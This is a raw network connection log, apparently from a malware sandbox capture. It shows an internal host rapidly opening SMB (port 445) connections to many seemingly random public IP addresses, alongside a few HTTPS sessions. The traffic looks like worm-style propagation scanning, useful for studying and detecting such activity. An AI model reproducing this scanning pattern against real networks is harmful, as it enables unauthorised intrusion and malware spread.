Jul 20, 2022 13:24:57.236537933 CEST	51218	445	192.168.2.7	75.95.202.108
Jul 20, 2022 13:24:57.264769077 CEST	51219	445	192.168.2.7	4.253.67.196
Jul 20, 2022 13:24:57.264787912 CEST	51220	445	192.168.2.7	161.227.190.136
Jul 20, 2022 13:24:57.414736032 CEST	51221	445	192.168.2.7	185.15.42.19
Jul 20, 2022 13:24:57.450954914 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:24:57.451805115 CEST	51223	445	192.168.2.7	2.117.49.18
Jul 20, 2022 13:24:57.504355907 CEST	445	51223	2.117.49.18	192.168.2.7
Jul 20, 2022 13:24:57.517713070 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.517757893 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.517891884 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.518220901 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.518249989 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.530131102 CEST	51225	445	192.168.2.7	140.98.128.61
Jul 20, 2022 13:24:57.652784109 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.652909994 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.654639959 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.654648066 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.655256033 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.656316996 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.696501970 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.716622114 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:24:57.717538118 CEST	51227	445	192.168.2.7	56.135.116.181
Jul 20, 2022 13:24:57.718014002 CEST	51228	445	192.168.2.7	170.199.29.55
Jul 20, 2022 13:24:57.741169930 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741240978 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741293907 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741368055 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741384983 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741395950 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741442919 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741444111 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741481066 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741514921 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741534948 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741542101 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741561890 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741625071 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741636992 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741663933 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741745949 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741754055 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741827011 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.741914034 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.741921902 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.743293047 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.743313074 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.743320942 CEST	51224	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:57.743328094 CEST	443	51224	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:57.840038061 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:57.840086937 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:57.840182066 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:57.840778112 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:57.840794086 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:57.983232021 CEST	51231	445	192.168.2.7	151.224.213.77
Jul 20, 2022 13:24:57.999208927 CEST	51232	445	192.168.2.7	204.180.199.161
Jul 20, 2022 13:24:58.091659069 CEST	51223	445	192.168.2.7	2.117.49.18
Jul 20, 2022 13:24:58.108588934 CEST	51233	445	192.168.2.7	194.63.130.85
Jul 20, 2022 13:24:58.145162106 CEST	445	51223	2.117.49.18	192.168.2.7
Jul 20, 2022 13:24:58.203372955 CEST	51235	445	192.168.2.7	130.145.165.86
Jul 20, 2022 13:24:58.211698055 CEST	51236	445	192.168.2.7	132.138.1.226
Jul 20, 2022 13:24:58.217295885 CEST	51237	445	192.168.2.7	5.240.140.2
Jul 20, 2022 13:24:58.242069960 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.242341042 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.244142056 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.244163990 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.244416952 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.246324062 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.255199909 CEST	51238	445	192.168.2.7	214.140.125.57
Jul 20, 2022 13:24:58.256711960 CEST	51239	445	192.168.2.7	217.147.197.166
Jul 20, 2022 13:24:58.256769896 CEST	51240	445	192.168.2.7	186.242.94.254
Jul 20, 2022 13:24:58.256870985 CEST	51241	445	192.168.2.7	96.211.190.179
Jul 20, 2022 13:24:58.257025003 CEST	51243	445	192.168.2.7	118.29.79.235
Jul 20, 2022 13:24:58.257055044 CEST	51242	445	192.168.2.7	148.76.127.211
Jul 20, 2022 13:24:58.257157087 CEST	51244	445	192.168.2.7	129.83.113.114
Jul 20, 2022 13:24:58.280342102 CEST	51245	445	192.168.2.7	171.164.123.121
Jul 20, 2022 13:24:58.281246901 CEST	51246	445	192.168.2.7	203.97.236.229
Jul 20, 2022 13:24:58.292509079 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.311526060 CEST	51247	445	192.168.2.7	221.190.215.204
Jul 20, 2022 13:24:58.326067924 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:24:58.359985113 CEST	51250	445	192.168.2.7	220.116.83.115
Jul 20, 2022 13:24:58.360131979 CEST	51251	445	192.168.2.7	4.22.88.167
Jul 20, 2022 13:24:58.360172033 CEST	51252	445	192.168.2.7	55.121.159.13
Jul 20, 2022 13:24:58.360194921 CEST	51253	445	192.168.2.7	23.58.216.246
Jul 20, 2022 13:24:58.360291004 CEST	51254	445	192.168.2.7	99.23.51.28
Jul 20, 2022 13:24:58.360349894 CEST	51255	445	192.168.2.7	30.177.1.151
Jul 20, 2022 13:24:58.360379934 CEST	51256	445	192.168.2.7	98.250.105.152
Jul 20, 2022 13:24:58.374383926 CEST	51257	445	192.168.2.7	164.244.237.222
Jul 20, 2022 13:24:58.375534058 CEST	51258	445	192.168.2.7	68.182.168.251
Jul 20, 2022 13:24:58.484819889 CEST	51259	445	192.168.2.7	185.15.42.20
Jul 20, 2022 13:24:58.510971069 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.510996103 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.511054993 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.511209011 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.511243105 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.511264086 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.511276960 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.511343002 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.511384010 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.513547897 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.513571978 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.513641119 CEST	51229	443	192.168.2.7	52.152.110.14
Jul 20, 2022 13:24:58.513652086 CEST	443	51229	52.152.110.14	192.168.2.7
Jul 20, 2022 13:24:58.580502033 CEST	51261	445	192.168.2.7	111.253.34.207
Jul 20, 2022 13:24:58.654934883 CEST	51263	445	192.168.2.7	107.38.233.49
Jul 20, 2022 13:24:58.846345901 CEST	51265	445	192.168.2.7	77.223.120.129
Jul 20, 2022 13:24:58.846864939 CEST	51266	445	192.168.2.7	207.40.89.158
Jul 20, 2022 13:24:59.040765047 CEST	445	51261	111.253.34.207	192.168.2.7
Jul 20, 2022 13:24:59.108048916 CEST	51268	445	192.168.2.7	88.8.31.230
Jul 20, 2022 13:24:59.123814106 CEST	51269	445	192.168.2.7	26.41.20.169
Jul 20, 2022 13:24:59.136042118 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.136085987 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.136178017 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.136605978 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.136629105 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.234293938 CEST	51272	445	192.168.2.7	223.191.175.234
Jul 20, 2022 13:24:59.277518034 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.277704954 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.282021999 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.282032967 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.282435894 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.286395073 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.295599937 CEST	51273	445	192.168.2.7	5.240.140.3
Jul 20, 2022 13:24:59.327289104 CEST	51274	445	192.168.2.7	169.205.93.199
Jul 20, 2022 13:24:59.327806950 CEST	51275	445	192.168.2.7	71.146.146.239
Jul 20, 2022 13:24:59.332499027 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.376704931 CEST	51276	445	192.168.2.7	150.233.26.25
Jul 20, 2022 13:24:59.376755953 CEST	51277	445	192.168.2.7	64.134.230.43
Jul 20, 2022 13:24:59.376880884 CEST	51278	445	192.168.2.7	216.11.82.0
Jul 20, 2022 13:24:59.377007961 CEST	51280	445	192.168.2.7	107.84.16.0
Jul 20, 2022 13:24:59.377037048 CEST	51279	445	192.168.2.7	27.1.137.106
Jul 20, 2022 13:24:59.377212048 CEST	51281	445	192.168.2.7	80.202.111.21
Jul 20, 2022 13:24:59.377259016 CEST	51282	445	192.168.2.7	206.229.36.93
Jul 20, 2022 13:24:59.379570961 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379625082 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379666090 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379760027 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379777908 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379791975 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379801989 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379832983 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379841089 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379856110 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379877090 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379884005 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379888058 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.379945993 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379951000 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.379966974 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.380095005 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.380134106 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.380181074 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.381814957 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.381830931 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.381839037 CEST	51270	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:59.381846905 CEST	443	51270	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:59.405088902 CEST	51283	445	192.168.2.7	86.124.112.216
Jul 20, 2022 13:24:59.405646086 CEST	51284	445	192.168.2.7	216.87.191.210
Jul 20, 2022 13:24:59.436846972 CEST	51286	445	192.168.2.7	87.203.203.181
Jul 20, 2022 13:24:59.467379093 CEST	51287	445	192.168.2.7	41.153.168.217
Jul 20, 2022 13:24:59.477873087 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:59.477910042 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:59.477999926 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:59.478280067 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:59.478286982 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:59.483330965 CEST	51289	445	192.168.2.7	73.240.76.124
Jul 20, 2022 13:24:59.483939886 CEST	51290	445	192.168.2.7	209.241.51.223
Jul 20, 2022 13:24:59.484491110 CEST	51291	445	192.168.2.7	187.204.133.133
Jul 20, 2022 13:24:59.484989882 CEST	51292	445	192.168.2.7	219.171.194.114
Jul 20, 2022 13:24:59.485491037 CEST	51293	445	192.168.2.7	48.188.247.149
Jul 20, 2022 13:24:59.485984087 CEST	51294	445	192.168.2.7	214.162.52.197
Jul 20, 2022 13:24:59.486510992 CEST	51295	445	192.168.2.7	189.174.173.30
Jul 20, 2022 13:24:59.500123978 CEST	51296	445	192.168.2.7	56.215.116.232
Jul 20, 2022 13:24:59.500427008 CEST	51297	445	192.168.2.7	106.5.253.115
Jul 20, 2022 13:24:59.529323101 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:24:59.544960976 CEST	51261	445	192.168.2.7	111.253.34.207
Jul 20, 2022 13:24:59.561495066 CEST	51298	445	192.168.2.7	185.15.42.21
Jul 20, 2022 13:24:59.701761007 CEST	51300	445	192.168.2.7	46.1.193.221
Jul 20, 2022 13:24:59.780138016 CEST	51301	445	192.168.2.7	138.222.24.137
Jul 20, 2022 13:24:59.801908970 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:59.802015066 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:59.803678036 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:59.803690910 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:59.803958893 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:59.808875084 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:59.856543064 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:59.968389988 CEST	51304	445	192.168.2.7	163.105.237.177
Jul 20, 2022 13:24:59.968409061 CEST	51303	445	192.168.2.7	33.190.144.250
Jul 20, 2022 13:25:00.017158985 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.017189026 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.017244101 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.017360926 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:25:00.017389059 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.017409086 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.017486095 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:25:00.017497063 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.017591953 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:25:00.017600060 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:25:00.021516085 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:25:00.021562099 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.021619081 CEST	51288	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:25:00.021629095 CEST	443	51288	52.242.101.226	192.168.2.7
Jul 20, 2022 13:25:00.140424967 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.140459061 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.140714884 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.140889883 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.140898943 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.143953085 CEST	445	51261	111.253.34.207	192.168.2.7
Jul 20, 2022 13:25:00.230700016 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.230885029 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.231553078 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.231564999 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.233474970 CEST	51308	445	192.168.2.7	136.93.12.125
Jul 20, 2022 13:25:00.235524893 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.235538960 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.358675003 CEST	51311	445	192.168.2.7	3.131.117.131
Jul 20, 2022 13:25:00.360130072 CEST	51313	445	192.168.2.7	5.240.140.4
Jul 20, 2022 13:25:00.366209030 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.366323948 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.366399050 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.366417885 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.367324114 CEST	51306	443	192.168.2.7	20.31.108.18
Jul 20, 2022 13:25:00.367360115 CEST	443	51306	20.31.108.18	192.168.2.7
Jul 20, 2022 13:25:00.436624050 CEST	51314	445	192.168.2.7	191.169.62.210
Jul 20, 2022 13:25:00.436800003 CEST	51315	445	192.168.2.7	138.180.102.97
Jul 20, 2022 13:25:00.499578953 CEST	51316	445	192.168.2.7	36.252.235.7
Jul 20, 2022 13:25:00.500099897 CEST	51317	445	192.168.2.7	99.124.35.180
Jul 20, 2022 13:25:00.500632048 CEST	51318	445	192.168.2.7	163.173.35.78
Jul 20, 2022 13:25:00.501148939 CEST	51319	445	192.168.2.7	45.57.103.114
Jul 20, 2022 13:25:00.501652956 CEST	51320	445	192.168.2.7	140.216.182.127
Jul 20, 2022 13:25:00.502152920 CEST	51321	445	192.168.2.7	116.178.56.131
Jul 20, 2022 13:25:00.502676964 CEST	51322	445	192.168.2.7	194.187.228.154
Jul 20, 2022 13:25:00.530853987 CEST	51323	445	192.168.2.7	67.33.172.199
Jul 20, 2022 13:25:00.531176090 CEST	51324	445	192.168.2.7	74.38.52.50
Jul 20, 2022 13:25:00.562486887 CEST	51325	445	192.168.2.7	170.211.57.160
Jul 20, 2022 13:25:00.593327999 CEST	51327	445	192.168.2.7	167.171.113.15
Jul 20, 2022 13:25:00.608536005 CEST	51328	445	192.168.2.7	63.31.227.175
Jul 20, 2022 13:25:00.609088898 CEST	51329	445	192.168.2.7	210.47.191.73
Jul 20, 2022 13:25:00.609623909 CEST	51330	445	192.168.2.7	112.164.26.30
Jul 20, 2022 13:25:00.610182047 CEST	51331	445	192.168.2.7	157.79.115.44
Jul 20, 2022 13:25:00.610596895 CEST	51332	445	192.168.2.7	170.204.4.223
Jul 20, 2022 13:25:00.611077070 CEST	51333	445	192.168.2.7	43.118.119.72
Jul 20, 2022 13:25:00.611536026 CEST	51334	445	192.168.2.7	28.93.35.128
Jul 20, 2022 13:25:00.687763929 CEST	51335	445	192.168.2.7	14.9.41.61
Jul 20, 2022 13:25:00.689335108 CEST	51336	445	192.168.2.7	56.139.237.163
Jul 20, 2022 13:25:00.689393997 CEST	51337	445	192.168.2.7	185.15.42.22
Jul 20, 2022 13:25:00.827339888 CEST	51339	445	192.168.2.7	138.198.221.176
Jul 20, 2022 13:25:00.905684948 CEST	51340	445	192.168.2.7	38.213.141.132
Jul 20, 2022 13:25:01.092787027 CEST	51342	445	192.168.2.7	163.93.226.213
Jul 20, 2022 13:25:01.092994928 CEST	51343	445	192.168.2.7	126.52.140.245
Jul 20, 2022 13:25:01.358270884 CEST	51345	445	192.168.2.7	193.179.14.97
Jul 20, 2022 13:25:01.374294043 CEST	51346	445	192.168.2.7	124.191.224.232
Jul 20, 2022 13:25:01.436397076 CEST	51347	445	192.168.2.7	5.240.140.5
Jul 20, 2022 13:25:01.483450890 CEST	51349	445	192.168.2.7	171.61.197.222
Jul 20, 2022 13:25:01.561521053 CEST	51351	445	192.168.2.7	111.58.233.186
Jul 20, 2022 13:25:01.562206030 CEST	51352	445	192.168.2.7	162.206.178.73
Jul 20, 2022 13:25:01.626120090 CEST	51353	445	192.168.2.7	22.168.66.195
Jul 20, 2022 13:25:01.626261950 CEST	51355	445	192.168.2.7	33.220.249.48
Jul 20, 2022 13:25:01.626264095 CEST	51354	445	192.168.2.7	176.173.151.26
Jul 20, 2022 13:25:01.626386881 CEST	51357	445	192.168.2.7	214.82.17.248
Jul 20, 2022 13:25:01.626410007 CEST	51356	445	192.168.2.7	87.97.146.111
Jul 20, 2022 13:25:01.626465082 CEST	51359	445	192.168.2.7	69.12.129.131
Jul 20, 2022 13:25:01.626465082 CEST	51358	445	192.168.2.7	28.29.190.94
Jul 20, 2022 13:25:01.655335903 CEST	51360	445	192.168.2.7	69.169.106.29
Jul 20, 2022 13:25:01.655411959 CEST	51361	445	192.168.2.7	40.230.25.197
Jul 20, 2022 13:25:01.686459064 CEST	51362	445	192.168.2.7	78.51.110.143
Jul 20, 2022 13:25:01.717889071 CEST	51364	445	192.168.2.7	202.200.157.193
Jul 20, 2022 13:25:01.734047890 CEST	51365	445	192.168.2.7	159.211.87.94
Jul 20, 2022 13:25:01.734613895 CEST	51366	445	192.168.2.7	22.181.33.118
Jul 20, 2022 13:25:01.735141993 CEST	51367	445	192.168.2.7	68.132.150.204
Jul 20, 2022 13:25:01.735645056 CEST	51368	445	192.168.2.7	32.162.4.249
Jul 20, 2022 13:25:01.744364023 CEST	51369	445	192.168.2.7	57.29.127.192
Jul 20, 2022 13:25:01.745640039 CEST	51371	445	192.168.2.7	156.25.2.50
Jul 20, 2022 13:25:01.745830059 CEST	51370	445	192.168.2.7	122.63.71.81
Jul 20, 2022 13:25:01.764439106 CEST	51372	445	192.168.2.7	185.15.42.23
Jul 20, 2022 13:25:01.811486959 CEST	51373	445	192.168.2.7	140.99.28.37
Jul 20, 2022 13:25:01.811973095 CEST	51374	445	192.168.2.7	11.46.139.14
Jul 20, 2022 13:25:01.936499119 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:25:01.951972961 CEST	51376	445	192.168.2.7	35.32.39.130
Jul 20, 2022 13:25:02.030190945 CEST	51377	445	192.168.2.7	92.113.87.127
Jul 20, 2022 13:25:02.217962980 CEST	51379	445	192.168.2.7	137.84.103.112
Jul 20, 2022 13:25:02.218554974 CEST	51380	445	192.168.2.7	33.237.227.100
Jul 20, 2022 13:25:02.490530014 CEST	51383	445	192.168.2.7	125.26.73.166
Jul 20, 2022 13:25:02.499008894 CEST	51384	445	192.168.2.7	159.64.169.195
Jul 20, 2022 13:25:02.514538050 CEST	51385	445	192.168.2.7	5.240.140.6
Jul 20, 2022 13:25:02.608717918 CEST	51387	445	192.168.2.7	151.97.31.169
Jul 20, 2022 13:25:02.662767887 CEST	445	51383	125.26.73.166	192.168.2.7
Jul 20, 2022 13:25:02.686599970 CEST	51389	445	192.168.2.7	87.89.132.141
Jul 20, 2022 13:25:02.687102079 CEST	51390	445	192.168.2.7	115.12.127.213
Jul 20, 2022 13:25:02.749862909 CEST	51391	445	192.168.2.7	86.99.51.59
Jul 20, 2022 13:25:02.750827074 CEST	51392	445	192.168.2.7	135.13.38.10
Jul 20, 2022 13:25:02.751199961 CEST	51393	445	192.168.2.7	7.200.158.144
Jul 20, 2022 13:25:02.751796007 CEST	51394	445	192.168.2.7	37.188.178.96
Jul 20, 2022 13:25:02.752583981 CEST	51395	445	192.168.2.7	94.65.217.192
Jul 20, 2022 13:25:02.753211021 CEST	51396	445	192.168.2.7	70.238.246.195
Jul 20, 2022 13:25:02.754093885 CEST	51397	445	192.168.2.7	30.225.161.208
Jul 20, 2022 13:25:02.781939983 CEST	51398	445	192.168.2.7	99.55.206.11
Jul 20, 2022 13:25:02.782088041 CEST	51399	445	192.168.2.7	26.170.185.84
Jul 20, 2022 13:25:02.848740101 CEST	51400	445	192.168.2.7	2.161.244.102
Jul 20, 2022 13:25:02.850611925 CEST	51402	445	192.168.2.7	185.15.42.24
Jul 20, 2022 13:25:02.854185104 CEST	51403	445	192.168.2.7	28.238.43.161
Jul 20, 2022 13:25:02.858633995 CEST	51404	445	192.168.2.7	52.108.174.92
Jul 20, 2022 13:25:02.863203049 CEST	51405	445	192.168.2.7	106.80.95.40
Jul 20, 2022 13:25:02.863265038 CEST	51406	445	192.168.2.7	210.129.0.183
Jul 20, 2022 13:25:02.863327026 CEST	51407	445	192.168.2.7	149.175.238.53
Jul 20, 2022 13:25:02.863409042 CEST	51408	445	192.168.2.7	21.39.84.89
Jul 20, 2022 13:25:02.863471985 CEST	51409	445	192.168.2.7	177.174.192.219
Jul 20, 2022 13:25:02.863563061 CEST	51410	445	192.168.2.7	137.250.202.189
Jul 20, 2022 13:25:02.954200983 CEST	51411	445	192.168.2.7	219.108.207.188
Jul 20, 2022 13:25:02.954370975 CEST	51412	445	192.168.2.7	183.27.36.70
Jul 20, 2022 13:25:03.077049017 CEST	51414	445	192.168.2.7	181.47.71.100
Jul 20, 2022 13:25:03.155272007 CEST	51415	445	192.168.2.7	40.115.211.61
Jul 20, 2022 13:25:03.170571089 CEST	51383	445	192.168.2.7	125.26.73.166
Jul 20, 2022 13:25:03.226114035 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.226145983 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.226232052 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.226907015 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.226924896 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.340845108 CEST	445	51383	125.26.73.166	192.168.2.7
Jul 20, 2022 13:25:03.343029022 CEST	51419	445	192.168.2.7	73.70.156.65
Jul 20, 2022 13:25:03.343031883 CEST	51418	445	192.168.2.7	132.74.25.100
Jul 20, 2022 13:25:03.348721027 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.348864079 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.350970030 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.350985050 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.351320028 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.352206945 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.352257967 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.352272987 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.352395058 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.385874987 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.385968924 CEST	443	51416	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:03.386055946 CEST	51416	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:03.386277914 CEST	51416	443	192.168.2.7	20.199.120.182
